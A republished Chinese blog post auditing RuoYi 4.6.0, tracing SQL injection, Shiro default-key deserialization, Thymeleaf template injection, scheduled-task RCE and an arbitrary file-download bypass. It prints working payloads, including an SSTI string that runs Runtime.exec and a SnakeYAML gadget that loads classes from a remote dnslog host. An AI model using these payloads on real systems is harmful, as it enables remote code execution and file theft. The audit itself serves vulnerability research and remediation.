文章总结： 本文对若依RuoYi4.6.0系统进行代码审计，发现SQL注入、Shiro反序列化、未授权访问、Thymeleaf模板注入、计划任务RCE和任意文件下载等多个高危漏洞。详细分析了漏洞成因、利用方法及修复建议，包括通过全局搜索${定位SQL注入点、利用Shiro默认密钥进行反序列化攻击、绕过文件下载白名单限制等技术细节。 综合评分： 82 文章分类： 代码审计,漏洞分析,WEB安全,安全工具,实战经验

若依 RuoYi4.6.0 代码审计

dabai001 dabai001

蚁景网络安全

2026年4月13日 17:41 湖南

在小说阅读器读本章

去阅读

环境布置：

到官网下载源码：https://github.com/yangzongzhuan/RuoYi

采用phpstudy集成数据库，5.7版本。JDK1.8。

IDEA打开项目，等待自动加载，修改application-druid.yml配置文件：数据库名，账号密码，连接数据库,修改application.yml中的端口，避免与80端口冲突。

导入：quartz.sql与ry_20201214.sql文件。

运行RuoYiApplication文件。

访问后台：http://localhost:25001/login

Sql注入漏洞：

由于该项目采用了mybatis开发，常见的找sql注入的方法就是全局搜索${

定位到可疑参数：

根据id值selectRoleList全局搜索，从xml定位到dao层：

右键单击，找该接口的使用，在使用处发现selectRoleList方法，全局搜索该方法，定位controller层查看接口与传参：

如下，定位到controller层：

分析代码：首先以@RequiresPermissions注解表明接口访问权限，再以@PostMapping注解表明接收接口，并且以@ResponseBody注解表明回将返回值写入http响应。

此方法会接收一个SysRole类型的role值，并且将接受的role值以selectRoleList方法处理后返回给list，最后返回给http响应。

于是我们现在需要分析

1：role对象在接收它的参数时是否有过滤，

2：selectRoleList方法在处理role接收后的值是否有过滤。

跟进SysRole类，发现无过滤：

跟进selectRoleList方法，发现无过滤：

于是确定原dataScope参数存在sql注入，到前端功能找对应数据包。

发现不存在dataScope参数,手动添加：

将localhost换成主机IP，放入sqlmap验证

Shiro反序列化：

首先查看项目pom文件，发现shiro版本为1.7.0：

全局搜索cipherKey，定位到密钥值：

由此结合shiro反序列化利用工具利用。

Shiro未授权访问：

查看shiro配置文件ShiroConfig.java，anon 为匿名拦截器，不需要登录就能访问。authc 为登录拦截器，需要登录认证才能访问。

Thymeleaf模板注入：

本框架采用了 Thymeleaf 模板，全局搜索::

根据Mapping构造路径，发送poc

fragment=__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

计划任务RCE:

如图添加计划任务

将调用目标字符修改如下：

org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://w2h0ib.dnslog.cn\”]]]]\’)

调用执行：

任意文件下载漏洞：

继续如上创建定时任务：

ruoYiConfig.setProfile(‘/home/clown/Project/RuoYi-v4.6.0/ruoyi-admin/src/main/resources/application.yml’)

执行后访问如下路径实现文件下载：

/common/download/resource?resource=.zip

跟踪下载路径定位代码：

该处代码先接收resource的值，再将该值放入checkAllowDownload方法里面校验后，进入下载文件的代码调用。

于是跟进checkAllowDownload方法：

发现该方法主要做了两件事：

1：禁止掉resource中的目录穿越../

2：以白名单形式检查文件下载规则

这里主要跟进一下2的代码：

取点后缀：

再以点后缀进行白名单匹配：

如果在原controller层if判断为假，进入下载文件代码流程：

至此可发现下载文件的路径不可控，且类型存在白名单限制！

此时我们继续跟进本地资源路径的代码：

我们可以发现本地资源路径是通过getProfile进行获取，且该RuoYiConfig类存在setProfile方法，由此可知，可以通过计划任务调用该类的setProfile方法设置好路径，直接绕过了前面的if过滤：

之后即可调用/common/download/resource接口任意下载文件。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：蚁景网络安全 dabai001 dabai001《若依 RuoYi4.6.0 代码审计》